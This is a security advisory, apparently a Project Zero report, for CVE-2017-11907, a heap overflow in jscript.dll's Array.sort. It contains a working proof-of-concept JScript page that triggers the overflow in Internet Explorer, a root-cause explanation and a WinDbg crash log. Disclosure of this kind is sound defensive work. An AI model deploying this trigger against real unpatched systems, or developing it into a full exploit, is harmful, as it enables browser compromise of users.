Microsoft Windows Array.sort jscript.dll Heap Overflow

`Windows: heap overflow in jscript.dll in Array.sort   
  
CVE-2017-11907  
  
  
There is an heap overflow vulnerability in jscript.dll library (used in IE, WPAD and other places). The bug affects 2 functions, JsArrayStringHeapSort and JsArrayFunctionHeapSort.  
  
PoC for IE (note: page heap might be required to obsorve the crash):  
  
=========================================  
  
<!-- saved from url=(0014)about:internet -->  
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>  
<script language="Jscript.Encode">  
var vars = new Array(100);  
  
var arr = new Array(1000);  
for(var i=1;i<600;i++) arr[i] = i;  
  
var o = {toString:function() {  
for(var i=600;i<1000;i++) {  
arr[i] = 1337;  
}  
}}  
  
function go() {  
arr[0] = o;  
Array.prototype.sort.call(arr);  
}  
  
  
go();  
  
</script>  
  
=========================================  
  
Technical details:  
  
Array.sort is implemented in JsArraySort which, depending if a comparison function was specified or not, calls JsArrayStringHeapSort or JsArrayFunctionHeapSort. These (vulnerable) functions take several arguments, 2 of which are the input array length and the number of elements currently in the input array (this can be smaller than the array length). The vulnerable functions are going to allcoate 2 buffers to store intermediate data. The size of these buffers will be calculated based on *num_elements*. However, while filling those arrays it is possible that the number of elements is going to increase, which causes a heap overflow.  
  
Debug log:  
  
=========================================  
  
0:023> g  
(e5c.988): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
jscript!NameTbl::GetValCore+0x30:  
000007fe`f4f59df0 498900 mov qword ptr [<a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>],rax ds:00000000`04603010=????????????????  
  
0:013> r  
rax=c0c0c0c0c0c00003 rbx=000000000443cf20 rcx=000000000441df90  
rdx=0000000000000003 rsi=0000000004603010 rdi=000000000441df90  
rip=000007fef4f59df0 rsp=00000000129a8e10 rbp=0000000000000000  
<a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>=0000000004603010 <a href="https://crrev.com/9" title="" class="" rel="nofollow">r9</a>=000000000441fdc8 <a href="https://crrev.com/10" title="" class="" rel="nofollow">r10</a>=00000000040a9800  
<a href="https://crrev.com/11" title="" class="" rel="nofollow">r11</a>=00000000129a8e70 <a href="https://crrev.com/12" title="" class="" rel="nofollow">r12</a>=0000000003ecb690 <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>=0000000000000001  
<a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>=0000000004603010 <a href="https://crrev.com/15" title="" class="" rel="nofollow">r15</a>=0000000000000259  
iopl=0 nv up ei ng nz na pe cy  
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010283  
jscript!NameTbl::GetValCore+0x30:  
000007fe`f4f59df0 498900 mov qword ptr [<a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>],rax ds:00000000`04603010=????????????????  
  
0:013> k  
# Child-SP RetAddr Call Site  
00 00000000`129a8e10 000007fe`f4f75f0e jscript!NameTbl::GetValCore+0x30  
01 00000000`129a8e70 000007fe`f4f761d8 jscript!ArrayObj::GetValAtIndex+0x62  
02 00000000`129a8eb0 000007fe`f4fbd5a2 jscript!ArrayObj::GetVal+0x28  
03 00000000`129a8f40 000007fe`f4fbcd90 jscript!JsArrayStringHeapSort+0x1a6  
04 00000000`129a90d0 000007fe`f4f5c2ec jscript!JsArraySort+0x270  
05 00000000`129a9180 000007fe`f4f5a9fe jscript!NatFncObj::Call+0x138  
06 00000000`129a9230 000007fe`f4f586ea jscript!NameTbl::InvokeInternal+0x3f8  
07 00000000`129a9350 000007fe`f4fadd72 jscript!VAR::InvokeByDispID+0xffffffff`ffffffea  
08 00000000`129a93a0 000007fe`f4f5c2ec jscript!JsFncCall+0xc2  
09 00000000`129a9430 000007fe`f4f5a9fe jscript!NatFncObj::Call+0x138  
0a 00000000`129a94e0 000007fe`f4f5b234 jscript!NameTbl::InvokeInternal+0x3f8  
0b 00000000`129a9600 000007fe`f4f59852 jscript!VAR::InvokeByName+0x81c  
0c 00000000`129a9810 000007fe`f4f59929 jscript!VAR::InvokeDispName+0x72  
0d 00000000`129a9890 000007fe`f4f524b8 jscript!VAR::InvokeByDispID+0x1229  
0e 00000000`129a98e0 000007fe`f4f58ec2 jscript!CScriptRuntime::Run+0x5a6  
0f 00000000`129aa6e0 000007fe`f4f594b3 jscript!ScrFncObj::CallWithFrameOnStack+0x162  
10 00000000`129aa8f0 000007fe`f4f586ea jscript!NameTbl::InvokeInternal+0x2d3  
11 00000000`129aaa10 000007fe`f4f524b8 jscript!VAR::InvokeByDispID+0xffffffff`ffffffea  
12 00000000`129aaa60 000007fe`f4f58ec2 jscript!CScriptRuntime::Run+0x5a6  
13 00000000`129ab860 000007fe`f4f58d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162  
14 00000000`129aba70 000007fe`f4f58b95 jscript!ScrFncObj::Call+0xb7  
15 00000000`129abb10 000007fe`f4f5e6c0 jscript!CSession::Execute+0x19e  
16 00000000`129abbe0 000007fe`f4f670e7 jscript!COleScript::ExecutePendingScripts+0x17a  
17 00000000`129abcb0 000007fe`f4f668d6 jscript!COleScript::ParseScriptTextCore+0x267  
18 00000000`129abda0 000007fe`ec595251 jscript!COleScript::ParseScriptText+0x56  
19 00000000`129abe00 000007fe`ecd1b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1  
1a 00000000`129abe80 000007fe`ec596256 MSHTML!CScriptCollection::ParseScriptText+0x37f  
1b 00000000`129abf60 000007fe`ec595c8e MSHTML!CScriptData::CommitCode+0x3d9  
1c 00000000`129ac130 000007fe`ec595a11 MSHTML!CScriptData::Execute+0x283  
1d 00000000`129ac1f0 000007fe`ecd546fb MSHTML!CHtmScriptParseCtx::Execute+0x101  
1e 00000000`129ac230 000007fe`ec638a5b MSHTML!CHtmParseBase::Execute+0x235  
1f 00000000`129ac2d0 000007fe`ec512e39 MSHTML!CHtmPost::Broadcast+0x90  
20 00000000`129ac310 000007fe`ec56caef MSHTML!CHtmPost::Exec+0x4bb  
21 00000000`129ac520 000007fe`ec56ca40 MSHTML!CHtmPost::Run+0x3f  
22 00000000`129ac550 000007fe`ec56da12 MSHTML!PostManExecute+0x70  
23 00000000`129ac5d0 000007fe`ec570843 MSHTML!PostManResume+0xa1  
24 00000000`129ac610 000007fe`ec556fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43  
25 00000000`129ac660 000007fe`ecd84f78 MSHTML!CDwnChan::OnMethodCall+0x41  
26 00000000`129ac690 000007fe`ec479d75 MSHTML!GlobalWndOnMethodCall+0x240  
27 00000000`129ac730 00000000`76d19bbd MSHTML!GlobalWndProc+0x150  
28 00000000`129ac7b0 00000000`76d198c2 USER32!UserCallWinProcCheckWow+0x1ad  
29 00000000`129ac870 000007fe`f11a4a87 USER32!DispatchMessageWorker+0x3b5  
2a 00000000`129ac8f0 000007fe`f11ababb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555  
2b 00000000`129afb70 000007fe`fd48572f IEFRAME!LCIETab_ThreadProc+0x3a3  
2c 00000000`129afca0 000007fe`f521925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f  
2d 00000000`129afcd0 00000000`76e159cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f  
2e 00000000`129afd20 00000000`76f4a561 kernel32!BaseThreadInitThunk+0xd  
2f 00000000`129afd50 00000000`00000000 ntdll!RtlUserThreadStart+0x1d  
  
=========================================  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: ifratric  
  
`